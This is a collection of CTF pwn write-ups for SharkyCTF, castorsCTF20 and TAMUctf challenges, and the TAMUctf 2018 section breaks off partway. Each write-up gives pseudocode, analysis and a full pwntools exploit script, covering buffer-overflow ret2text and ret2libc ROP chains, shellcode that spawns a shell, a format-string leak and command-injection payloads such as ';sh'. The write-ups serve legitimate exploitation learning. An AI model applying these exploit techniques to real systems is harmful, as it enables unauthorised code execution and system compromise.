#!/usr/bin/env python3
from pwn import *

#--------setup--------#

context(arch="amd64", os="linux")

elf = ELF("0_give_away", checksec=False)
local = False

if local:
  r = elf.process()
else:
  host = "sharkyctf.xyz"
  port = 20333
  r = remote(host, port)

#--------ret2text--------#

offset = 40
win_func = elf.sym["win_func"]

payload = flat(
  b"A" * offset,
  win_func,
)

r.sendline(payload)
r.interactive()

Flag

shkCTF{#Fr33_fL4g!!_<3}

Give away 1

Challenge

Give away 1

give_away_1

libc-2.27.so

File

$ file give_away_1 
give_away_1: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=2b72e93281e97df94bf8362d5cf5a29f55accb8a, not stripped

Checksec

$ checksec give_away_1 
[*] '/root/Dropbox/CTF/SharkyCTF/Pwn/Give-away-1/give_away_1'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

Pseudocode

main:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init_buffering(&argc);
  printf("Give away: %p\n", &system);
  vuln();
  return 0;
}

vuln:

char *vuln()
{
  char s; // [esp+8h] [ebp-20h]

  return fgets(&s, 50, stdin);
}

Analysis

Basic ret2libc. Since the address of system is leaked, we can calculate the libc base address and then deduce the real address of /bin/sh in libc. Or we can simply use one_gadget.

Script

#!/usr/bin/env python3
from pwn import *

#--------setup--------#

context(arch="i386", os="linux")

elf = ELF("give_away_1", checksec=False)
local = False

if local:
  libc = elf.libc
  r = elf.process()
else:
  libc = ELF("libc-2.27.so", checksec=False)
  host = "sharkyctf.xyz"
  port = 20334
  r = remote(host, port)

#--------leak--------#

r.readuntil("Give away: ")
system = int(r.read(10), 16)
libc.address = system - libc.sym["system"]

log.info(f"system: {hex(system)}")
log.info(f"libc.address: {hex(libc.address)}")

#--------one_gadget--------#

offset = 36
one_gadgets = [0x3d0d3, 0x3d0d5, 0x3d0d9, 0x3d0e0, 0x67a7f, 0x67a80, 0x137e5e, 0x137e5f]
one_gadget = libc.address + one_gadgets[3]

payload = flat(
  b"A" * offset,
  one_gadget,
)

r.sendline(payload)
r.interactive()

Flag

shkCTF{I_h0PE_U_Fl4g3d_tHat_1n_L3ss_Th4n_4_m1nuT3s}

Give away 2

Challenge

Give away 2

give_away_2

libc-2.27.so

File

$ file give_away_2 
give_away_2: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=5c93b7c4ff1a036cb291045d3ab76155d22ce1a6, not stripped

Checksec

$ checksec give_away_2 
[*] '/root/Dropbox/CTF/SharkyCTF/Pwn/Give-away-2/give_away_2'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

Pseudocode

main:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init_buffering(argc, argv, envp);
  printf("Give away: %p\n", main);
  vuln();
  return 0;
}

vuln:

char *vuln()
{
  char s; // [rsp+0h] [rbp-20h]

  return fgets(&s, 128, stdin);
}

Analysis

Note that PIE is enabled. Since the address of main is leaked, we are able to calculate the elf base address.

  1. Compute the elf base address based on the leaked address of main.
  2. Do ret2printf to leak the address of printf in GOT and compute the libc base address.
  3. Go back to main and do ret2libc.

Script

#!/usr/bin/env python3
from pwn import *

#--------setup--------#

context(arch="amd64", os="linux")

elf = ELF("give_away_2", checksec=False)
local = False

if local:
  libc = elf.libc
  r = elf.process()
else:
  libc = ELF("libc-2.27.so", checksec=False)
  host = "sharkyctf.xyz"
  port = 20335
  r = remote(host, port)

#--------leak--------#

r.readuntil("Give away: ")
main = int(r.read(14), 16)
elf.address = main - elf.sym["main"]

#--------ret2printf--------#

offset = 40
# ROPgadget --binary give_away_2 --only "pop|ret" | grep rdi
pop_rdi = elf.address + 0x0000000000000903
# the addresses of printf_plt and printf_got 
# are adjusted automatically since elf.address was set
printf_plt = elf.plt["printf"]
printf_got = elf.got["printf"]
# ROPgadget --binary give_away_2 --only "ret"
# ret is used for padding because of the stack alignment
ret = elf.address + 0x0000000000000676

payload = flat(
  b"A" * offset,
  pop_rdi, printf_got, # arg for printf_plt
  ret, printf_plt,
  ret, main, # ret addr for printf_plt
)

r.sendline(payload)
r.read()
printf_leak = u64(r.read(6).ljust(8, b"\x00"))
libc.address = printf_leak - libc.sym["printf"]

log.info(f"printf_leak: {hex(printf_leak)}")
log.info(f"libc.address: {hex(libc.address)}")

#--------ret2libc--------#

# the addresses of system and bin_sh 
# are adjusted automatically since elf.address was set
system = libc.sym["system"]
bin_sh = next(libc.search(b"/bin/sh\x00"))

log.info(f"system: {hex(system)}")
log.info(f"bin_sh: {hex(bin_sh)}")

payload = flat(
  b"A" * offset,
  pop_rdi, bin_sh, # arg for system
  ret, system, # call system("/bin/sh")
)

r.read()
r.sendline(payload)
r.interactive()

Flag

shkCTF{It's_time_to_get_down_to_business}

Captain Hook

Challenge

Captain Hook

captain_hook

libc-2.27.so

Todo!

castorsCTF20 Pwn Writeup

  1. Intro
  2. abcbof
  3. babybof1 pt1
  4. babybof2
  5. babyfmt
  6. babybof1 pt2

abcbof

File

$ file abcbof 
abcbof: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=c0d370a13d4eef91ea21376096ca113349bda4d6, not stripped

Checksec

$ checksec abcbof 
[*] '/root/Dropbox/CTF/castorsCTF20/Pwn/abcbof/abcbof'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Pseudocode

main:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+0h] [rbp-110h]
  char s2; // [rsp+100h] [rbp-10h]

  printf("Hello everyone, say your name: ", argv, envp);
  gets(&v4);
  if ( !strcmp("CyberCastors", &s2) )
    get_flag();
  puts("You lose!");
  return 0;
}

get_flag:

void __noreturn get_flag()
{
  char v0; // [rsp+7h] [rbp-9h]
  FILE *stream; // [rsp+8h] [rbp-8h]

  stream = fopen("flag.txt", "r");
  if ( !stream )
    exit(1);
  while ( 1 )
  {
    v0 = fgetc(stream);
    if ( v0 == -1 )
      break;
    putchar(v0);
  }
  fclose(stream);
  exit(0);
}

Analysis

Our task is to overwrite the variable s2 to “CyberCastors”. Note that s2 is at ebp - 0x10 and the input buffer is at ebp - 0x110, hence the offset is 0x110 - 0x10 = 0x100 = 256.

Script

#!/usr/bin/env python3
from pwn import *

#--------setup--------#

context(arch="amd64", os="linux")

elf = ELF("./abcbof", checksec=False)
local = False

if local:
	r = elf.process()
else:
	host = "challs20.cybercastors.com"
	port = 14424
	r = remote(host, port)

#--------ret2text--------#

offset = 256

payload = flat(
	b"A" * offset,
	"CyberCastors",
)

r.sendline(payload)
log.info(r.readall().decode())

Flag

castorsCTF{b0f_4r3_n0t_th4t_h4rd_or_4r3_th3y?}

babybof1 pt1

File

$ file babybof 
babybof: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=53082227c9e25222032055ccb700576121bd384f, not stripped

Checksec

$ checksec babybof 
[*] '/root/Dropbox/CTF/castorsCTF20/Pwn/babybof1/babybof'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

Pseudocode

main:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+0h] [rbp-100h]

  puts("Welcome to the cybercastors Babybof");
  printf("Say your name: ", argv);
  return gets(&v4);
}

get_flag:

void __noreturn get_flag()
{
  char v0; // [rsp+7h] [rbp-9h]
  FILE *stream; // [rsp+8h] [rbp-8h]

  stream = fopen("flag.txt", "r");
  if ( !stream )
    exit(1);
  while ( 1 )
  {
    v0 = fgetc(stream);
    if ( v0 == -1 )
      break;
    putchar(v0);
  }
  fclose(stream);
  exit(0);
}

Analysis

Basic ret2text.

Script

#!/usr/bin/env python3
from pwn import *

#--------setup--------#

context(arch="amd64", os="linux")

elf = ELF("./babybof", checksec=False)
local = False

if local:
	r = elf.process()
else:
	host = "challs20.cybercastors.com"
	port = 14425
	r = remote(host, port)

#--------ret2text--------#

offset = 264
get_flag = elf.sym["get_flag"]

payload = flat(
	b"A" * offset,
	get_flag,
)

r.sendline(payload)
log.info(r.readall().decode())

Flag

castorsCTF{th4t's_c00l_but_c4n_y0u_g3t_4_sh3ll_n0w?}

babybof2

File

$ file winners 
winners: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=4cc0975ce93c498da72442b3ada5a3dd0f6a471a, for GNU/Linux 3.2.0, not stripped

Checksec

$ checksec winners 
[*] '/root/Dropbox/CTF/castorsCTF20/Pwn/babybof2/winners'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

Pseudocode

main:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  puts("Do you really think you can get to the winners table?");
  puts("I'll give you one shot at it, what floor is the table at: ");
  start();
  puts("Yeah that's what I thougt, LOL.\n");
  return 0;
}

start:

char *start()
{
  char s; // [esp+0h] [ebp-48h]

  return gets(&s);
}

winnersLevel:

signed int __cdecl winnersLevel(int a1)
{
  signed int result; // eax

  if ( a1 != 386 && a1 != 258 )
  {
    puts("You guessed right but it seems your badge number isn't on our list.");
    result = 0;
  }
  else
  {
    puts("Wow! Please excuse me sir I had no idea...here are your chips");
    system("cat ./flag.txt");
    result = 1;
  }
  return result;
}

Analysis

Basic ret2text. Note that the argument of winnersLevel be must 386 or 258.

Script

#!/usr/bin/env python3
from pwn import *

#--------setup--------#

context(arch="i386", os="linux")

elf = ELF("./winners")
local = False

if local:
	r = elf.process()
else:
	host = "challs20.cybercastors.com"
	port = 14434
	r = remote(host, port)

#--------ret2text--------#

offset = 76
winnersLevel = elf.sym["winnersLevel"]
arg = 386 # or 258

payload = flat(
	b"A" * offset,
	winnersLevel,
	b"B" * 4, # ret addr for winnersLevel
	arg, # arg for winnersLevel
)

r.sendline(payload)
log.info(r.readall().decode())

Flag

castorsCTF{b0F_s_4r3_V3rry_fuN_4m_l_r1ght}

babyfmt

File

$ file babyfmt 
babyfmt: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=e9e84cdf98f90211c2587e487c557a5f7ef87c06, not stripped

Checksec

$ checksec babyfmt 
[*] '/root/Dropbox/CTF/castorsCTF20/Pwn/babyfmt/babyfmt'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Pseudocode

main:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  FILE *stream; // [rsp+8h] [rbp-218h]
  char v5; // [rsp+10h] [rbp-210h]
  char s; // [rsp+110h] [rbp-110h]
  unsigned __int64 v7; // [rsp+218h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  stream = fopen("flag.txt", "r");
  if ( !stream )
    exit(1);
  __isoc99_fscanf(stream, "%s", &v5);
  fclose(stream);
  printf("Hello everyone, this is babyfmt! say something: ");
  fgets(&s, 255, _bss_start);
  printf(&s);
  return 0;
}

Analysis

Note that printf(&s) leas to format string vulnerability. To verify:

$ nc challs20.cybercastors.com 14426
%x
Hello everyone, this is babyfmt! say something: a78

Prepare connect.sh for easier interaction:

#!/bin/bash
nc challs20.cybercastors.com 14426

We can leak the flag using a bunch of %p format specifiers:

$ ./connect.sh
%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
Hello everyone, this is babyfmt! say something: 0x559b61ee1491 (nil) 0x559b61ee14cc 0x7ffe93f4cc50 0x7c (nil) 0x559b61ee02a0 0x4373726f74736163 0x5f6b34336c7b4654 0x3468745f6b34336c 0x74346d7230665f74 0x5f366e317274735f 0x7d6b34336c 0x7f793e9959e8 (nil) (nil) (nil) (nil) (nil) 0x7ffe93f62218

The flag starts with castorsCTF{, that is, 0x636173746f72734354467b in hex. In little-endian format, the first pointer should be 0x4373726f74736163. We can see that this is the pointer at offset 8.

Flag

castorsCTF{l34k_l34k_th4t_f0rm4t_str1n6_l34k}

babybof1 pt2

File

$ file babybof 
babybof: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=53082227c9e25222032055ccb700576121bd384f, not stripped

Checksec

$ checksec babybof 
[*] '/root/Dropbox/CTF/castorsCTF20/Pwn/babybof1/babybof'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

Analysis

Since there is no gadget such as jmp rsp, we are going to use jmp rax instead. It works fine since the main function does the following:

gdb-peda$ disas main
Dump of assembler code for function main:
   0x08049229 <+0>:     lea    ecx,[esp+0x4]
   0x0804922d <+4>:     and    esp,0xfffffff0
   0x08049230 <+7>:     push   DWORD PTR [ecx-0x4]
   0x08049233 <+10>:    push   ebp
   0x08049234 <+11>:    mov    ebp,esp
   0x08049236 <+13>:    push   ebx
   0x08049237 <+14>:    push   ecx
   0x08049238 <+15>:    sub    esp,0x40
   0x0804923b <+18>:    call   0x80490d0 <__x86.get_pc_thunk.bx>
   0x08049240 <+23>:    add    ebx,0x21b8
   0x08049246 <+29>:    sub    esp,0xc
   0x08049249 <+32>:    lea    eax,[ebx-0x135c]
   0x0804924f <+38>:    push   eax
   0x08049250 <+39>:    call   0x8049050 <puts@plt>
   0x08049255 <+44>:    add    esp,0x10
   0x08049258 <+47>:    sub    esp,0xc
   0x0804925b <+50>:    lea    eax,[ebx-0x1324]
   0x08049261 <+56>:    push   eax
   0x08049262 <+57>:    call   0x8049050 <puts@plt>
   0x08049267 <+62>:    add    esp,0x10
   0x0804926a <+65>:    call   0x8049201 <start>
   0x0804926f <+70>:    sub    esp,0xc
   0x08049272 <+73>:    lea    eax,[ebx-0x12e8]
   0x08049278 <+79>:    push   eax
   0x08049279 <+80>:    call   0x8049050 <puts@plt>
   0x0804927e <+85>:    add    esp,0x10
   0x08049281 <+88>:    mov    eax,0x0
   0x08049286 <+93>:    lea    esp,[ebp-0x8]
   0x08049289 <+96>:    pop    ecx
   0x0804928a <+97>:    pop    ebx
   0x0804928b <+98>:    pop    ebp
   0x0804928c <+99>:    lea    esp,[ecx-0x4]
   0x0804928f <+102>:   ret    
End of assembler dump.

Take a look at this part:

   0x000000000040077c <+47>:	mov    rdi,rax
   0x000000000040077f <+50>:	mov    eax,0x0
   0x0000000000400784 <+55>:	call   0x4005d0 <gets@plt>

Since rdi holds the first argument of the function call, it must hold the argument of gets. Meanwhile, the pseudocode of main looks like this:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+0h] [rbp-100h]

  puts("Welcome to the cybercastors Babybof");
  printf("Say your name: ", argv);
  return gets((__int64)&v4);
}

The argument is v4, which is our input string. It must point to the beginning of the stack. Since there is a mov rdi,rax instruction, rax must contain a pointer to the beginning of the stack, so jmp rax is similar to jmp rsp in this case.

Script

#!/usr/bin/env python3
from pwn import *

#--------setup--------#

context(arch="amd64", os="linux")

elf = ELF("./babybof", checksec=False)
local = False

if local:
	r = elf.process()
else:
	host = "challs20.cybercastors.com"
	port = 14425
	r = remote(host, port)

#--------ret2shellcode--------#

offset = 264
shellcode = asm(shellcraft.sh())
# ROPgadget --binary babybof --only "jmp" | grep rax
jmp_rax = 0x0000000000400661

payload = flat(
	shellcode.ljust(offset, b"A"),
	jmp_rax,
)

r.sendline(payload)
r.interactive()

Flag

castorsCTF{w0w_U_jU5t_h4ck3d_th15!!1_c4ll_th3_c0p5!11}

CTFium TAMUctf 2019 Pwn Writeup

  1. Intro
  2. pwn1
  3. pwn2
  4. pwn3
  5. pwn4
  6. pwn5

Intro

Here are the first five pwn challenges from TAMUctf 2019. Pwn6 requires VPN access so it is not solvable now. The most interesting challenge here is pwn2. Pwn2 has PIE enabled and there is an off-by-one vulnerability, where you need to overwrite the LSB of a function offset to let an unused function get called.

pwn1

File

$ file pwn1
pwn1: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=d126d8e3812dd7aa1accb16feac888c99841f504, not stripped

Checksec

$ checksec pwn1
[*] '/root/Dropbox/Wargame/CTFium/TAMUctf/2019/pwn1/pwn1'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

Pseudocode

main:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1h] [ebp-3Bh]
  int v5; // [esp+2Ch] [ebp-10h]
  int v6; // [esp+30h] [ebp-Ch]
  int *v7; // [esp+34h] [ebp-8h]

  v7 = &argc;
  setvbuf(stdout, (char *)&dword_0 + 2, 0, 0);
  v6 = 2;
  v5 = 0;
  puts("Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see.");
  puts("What... is your name?");
  fgets(&s, 43, stdin);
  if ( strcmp(&s, "Sir Lancelot of Camelot\n") )
  {
    puts("I don't know that! Auuuuuuuugh!");
    exit(0);
  }
  puts("What... is your quest?");
  fgets(&s, 43, stdin);
  if ( strcmp(&s, "To seek the Holy Grail.\n") )
  {
    puts("I don't know that! Auuuuuuuugh!");
    exit(0);
  }
  puts("What... is my secret?");
  gets(&s);
  if ( v5 == 0xDEA110C8 )
    print_flag();
  else
    puts("I don't know that! Auuuuuuuugh!");
  return 0;
}

print_flag:

int print_flag()
{
  char i; // al
  FILE *fp; // [esp+Ch] [ebp-Ch]

  puts("Right. Off you go.");
  fp = fopen("flag.txt", "r");
  for ( i = _IO_getc(fp); i != -1; i = _IO_getc(fp) )
    putchar(i);
  return putchar(10);
}

Analysis

Our task is to overwrite the variable v5 as 0xdea110c8. Take a look at the stack:

-0000003C ; D/A/*   : change type (data/ascii/array)
-0000003C ; N       : rename
-0000003C ; U       : undefine
-0000003C ; Use data definition commands to create local variables and function arguments.
-0000003C ; Two special fields " r" and " s" represent return address and saved registers.
-0000003C ; Frame size: 3C; Saved regs: 4; Purge: 0
-0000003C ;
-0000003C
-0000003C                 db ? ; undefined
-0000003B s               db ?
-0000003A                 db ? ; undefined
-00000039                 db ? ; undefined
-00000038                 db ? ; undefined
-00000037                 db ? ; undefined
-00000036                 db ? ; undefined
-00000035                 db ? ; undefined
-00000034                 db ? ; undefined
-00000033                 db ? ; undefined
-00000032                 db ? ; undefined
-00000031                 db ? ; undefined
-00000030                 db ? ; undefined
-0000002F                 db ? ; undefined
-0000002E                 db ? ; undefined
-0000002D                 db ? ; undefined
-0000002C                 db ? ; undefined
-0000002B                 db ? ; undefined
-0000002A                 db ? ; undefined
-00000029                 db ? ; undefined
-00000028                 db ? ; undefined
-00000027                 db ? ; undefined
-00000026                 db ? ; undefined
-00000025                 db ? ; undefined
-00000024                 db ? ; undefined
-00000023                 db ? ; undefined
-00000022                 db ? ; undefined
-00000021                 db ? ; undefined
-00000020                 db ? ; undefined
-0000001F                 db ? ; undefined
-0000001E                 db ? ; undefined
-0000001D                 db ? ; undefined
-0000001C                 db ? ; undefined
-0000001B                 db ? ; undefined
-0000001A                 db ? ; undefined
-00000019                 db ? ; undefined
-00000018                 db ? ; undefined
-00000017                 db ? ; undefined
-00000016                 db ? ; undefined
-00000015                 db ? ; undefined
-00000014                 db ? ; undefined
-00000013                 db ? ; undefined
-00000012                 db ? ; undefined
-00000011                 db ? ; undefined
-00000010 var_10          dd ?
-0000000C var_C           dd ?
-00000008 anonymous_0     dd ?
-00000004                 db ? ; undefined
-00000003                 db ? ; undefined
-00000002                 db ? ; undefined
-00000001                 db ? ; undefined
+00000000  s              db 4 dup(?)
+00000004  r              db 4 dup(?)
+00000008 argc            dd ?
+0000000C argv            dd ?                    ; offset
+00000010 envp            dd ?                    ; offset
+00000014
+00000014 ; end of stack variables

Note that v5 is at 0x10 and the input buffer begins at 0x3b, hence the offset is 0x3b - 0x10 = 0x2b = 43.

Script

#!/usr/bin/env python3
from pwn import *

#--------setup--------#

context(arch="i386", os="linux")

elf = ELF("pwn1", checksec=False)
p = elf.process()

#--------ret2text--------#

offset = 43

payload = flat(
    b"A" * offset,
    0xdea110c8,
)

p.sendlineafter("What... is your name?\n", "Sir Lancelot of Camelot")
p.sendlineafter("What... is your quest?\n", "To seek the Holy Grail.")
p.sendlineafter("What... is my secret?\n", payload)
log.info(p.readall().decode())

pwn2

File

$ file pwn2
pwn2: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=c3936da4c051f1ca58585ee8b243bc9c4a37e437, not stripped

Checksec

$ checksec pwn2
[*] '/root/Dropbox/Wargame/CTFium/TAMUctf/2019/pwn2/pwn2'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

Pseudocode

main:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1h] [ebp-27h]
  int *v5; // [esp+20h] [ebp-8h]

  v5 = &argc;
  setvbuf(stdout, (char *)&dword_0 + 2, 0, 0);
  puts("Which function would you like to call?");
  gets(&s);
  select_func(&s);
  return 0;
}

select_fun:

int __cdecl select_func(char *src)
{
  char dest; // [esp+Eh] [ebp-2Ah]
  int (*v3)(void); // [esp+2Ch] [ebp-Ch]

  v3 = two;
  strncpy(&dest, src, 0x1Fu);
  if ( !strcmp(&dest, "one") )
    v3 = one;
  return v3();
}

print_flag:

int print_flag()
{
  char i; // al
  FILE *fp; // [esp+Ch] [ebp-Ch]

  puts("This function is still under development.");
  fp = fopen("flag.txt", "r");
  for ( i = _IO_getc(fp); i != -1; i = _IO_getc(fp) )
    putchar(i);
  return putchar(10);
}

Analysis

Since PIE is enabled, we can’t simply do a normal ret2text. There is an easier route. Note that the vulnerable function is strncpy(&dest, src, 0x1Fu). It copies 0x1f = 31 bytes from src to dest. Take a look at the stack:

-00000038 ; D/A/*   : change type (data/ascii/array)
-00000038 ; N       : rename
-00000038 ; U       : undefine
-00000038 ; Use data definition commands to create local variables and function arguments.
-00000038 ; Two special fields " r" and " s" represent return address and saved registers.
-00000038 ; Frame size: 38; Saved regs: 4; Purge: 0
-00000038 ;
-00000038
-00000038                 db ? ; undefined
-00000037                 db ? ; undefined
-00000036                 db ? ; undefined
-00000035                 db ? ; undefined
-00000034                 db ? ; undefined
-00000033                 db ? ; undefined
-00000032                 db ? ; undefined
-00000031                 db ? ; undefined
-00000030                 db ? ; undefined
-0000002F                 db ? ; undefined
-0000002E                 db ? ; undefined
-0000002D                 db ? ; undefined
-0000002C                 db ? ; undefined
-0000002B                 db ? ; undefined
-0000002A dest            db ?
-00000029                 db ? ; undefined
-00000028                 db ? ; undefined
-00000027                 db ? ; undefined
-00000026                 db ? ; undefined
-00000025                 db ? ; undefined
-00000024                 db ? ; undefined
-00000023                 db ? ; undefined
-00000022                 db ? ; undefined
-00000021                 db ? ; undefined
-00000020                 db ? ; undefined
-0000001F                 db ? ; undefined
-0000001E                 db ? ; undefined
-0000001D                 db ? ; undefined
-0000001C                 db ? ; undefined
-0000001B                 db ? ; undefined
-0000001A                 db ? ; undefined
-00000019                 db ? ; undefined
-00000018                 db ? ; undefined
-00000017                 db ? ; undefined
-00000016                 db ? ; undefined
-00000015                 db ? ; undefined
-00000014                 db ? ; undefined
-00000013                 db ? ; undefined
-00000012                 db ? ; undefined
-00000011                 db ? ; undefined
-00000010                 db ? ; undefined
-0000000F                 db ? ; undefined
-0000000E                 db ? ; undefined
-0000000D                 db ? ; undefined
-0000000C var_C           dd ?
-00000008                 db ? ; undefined
-00000007                 db ? ; undefined
-00000006                 db ? ; undefined
-00000005                 db ? ; undefined
-00000004 var_4           dd ?
+00000000  s              db 4 dup(?)
+00000004  r              db 4 dup(?)
+00000008 src             dd ?                    ; offset
+0000000C
+0000000C ; end of stack variables

Note that dest is at ebp-0x2a and v3 (= two) is at ebp-0x0c. The offset is 0x2a - 0x0c = 0x1e = 30. Moreover, check out the function addresses in gdb:

0x000006ad  two
0x000006d8  print_flag

Now we can confirm that this is an off-by-one vulnerability. If we modify the LSB of two from ad to d8, then we are able to call print_flag. It always works because the real function address is just base+offset with PIE enabled. Modifying the function offset only is the same as modifying the function address itself.

Script

#!/usr/bin/env python3
from pwn import *

#--------setup--------#

context(arch="i386", os="linux")

elf = ELF("pwn2", checksec=False)
p = elf.process()

#--------off-by-one--------#

offset = 30

payload = flat(
    b"A" * offset,
    b"\xd8",
)

p.sendlineafter("Which function would you like to call?\n", payload)
log.info(p.readall().decode())

pwn3

File

$ file pwn3
pwn3: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=6ea573b4a0896b428db719747b139e6458d440a0, not stripped

Checksec

$ checksec pwn3
[*] '/root/Dropbox/Wargame/CTFium/TAMUctf/2019/pwn3/pwn3'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments

Pseudocode

main:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, (char *)&dword_0 + 2, 0, 0);
  echo(&argc);
  return 0;
}

echo:

char *echo()
{
  char s; // [esp+Eh] [ebp-12Ah]

  printf("Take this, you might need it on your journey %p!\n", &s);
  return gets(&s);
}

Analysis

Basic ret2shellcode with buffer address given.

Script

#!/usr/bin/env python3
from pwn import *

#--------setup--------#

context(arch="i386", os="linux")

elf = ELF("pwn3", checksec=False)
p = elf.process()

#--------ret2shellcode--------#

offset = 302
shellcode = asm(shellcraft.sh())

p.readuntil("Take this, you might need it on your journey ")
buf = int(p.read(10), 16)

payload = flat(
    shellcode.ljust(offset, b"A"),
    buf,
)

p.sendlineafter("!\n", payload)
p.interactive()

pwn4

File

$ file pwn4
pwn4: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=db1ceeb24f1c95e886c69fb0682714057ca13013, not stripped

Checksec

$ checksec pwn4
[*] '/root/Dropbox/Wargame/CTFium/TAMUctf/2019/pwn4/pwn4'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

Pseudocode

main:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int *v3; // [esp-4h] [ebp-8h]

  v3 = &argc;
  setvbuf(stdout, (char *)2, 0, 0);
  while ( 1 )
    laas(v3);
}

laas:

int laas()
{
  int result; // eax
  char s; // [esp+7h] [ebp-21h]

  puts("ls as a service (laas)(Copyright pending)");
  puts("Enter the arguments you would like to pass to ls:");
  gets(&s);
  if ( strchr(&s, 47) )
    result = puts("No slashes allowed");
  else
    result = run_cmd(&s);
  return result;
}

run_cmd:

int __cdecl run_cmd(int a1)
{
  char s; // [esp+2h] [ebp-26h]

  snprintf(&s, 0x1Bu, "ls %s", a1);
  printf("Result of %s:\n", &s);
  return system(&s);
}

Analysis

Simple command injection.

Payload

; cat flag,txt

pwn5

File

$ file pwn5
pwn5: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=f9690a5a90e54f8336b65636e719feac16798d50, not stripped

Checksec

$ checksec pwn5
[*] '/root/Dropbox/Wargame/CTFium/TAMUctf/2019/pwn5/pwn5'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

Pseudocode

main:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 2, 0, 0);
  while ( 1 )
    laas();
}

laas:

int laas()
{
  int result; // eax
  char s; // [esp+Bh] [ebp-Dh]

  puts("ls as a service (laas)(Copyright pending)");
  puts("Version 2: Less secret strings and more portable!");
  puts("Enter the arguments you would like to pass to ls:");
  gets(&s);
  if ( strchr(&s, 47) )
    result = puts("No slashes allowed");
  else
    result = run_cmd(&s);
  return result;
}

run_cmd:

int __cdecl run_cmd(char a1)
{
  char v2; // [esp+6h] [ebp-12h]

  snprintf(&v2, 7, "ls %s", a1);
  printf("Result of %s:\n", (unsigned int)&v2);
  return system(&v2);
}

Analysis

Same as pwn4, but only the first 3 characters of our input gets executed this time. That’s not an issue at all.

Payload

;sh

CTFium TAMUctf 2018 Pwn Writeup

  1. Intro
  2. pwn1
  3. pwn2
  4. pwn3
  5. pwn4
  6. pwn5

Intro

Here are all the five pwn challenges from TAMUctf 2018. The first 4 are too easy, so not that interesting. Pwn5 is a pretty decent challenge. It requires some reverse engineering to find the vulnerable function and then do a ret2syscall.

pwn1

File

$ file pwn1
pwn1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=50e68bf77076eb3487d3478631c1659cade5a1bc, not stripped

Checksec

$ checksec pwn1
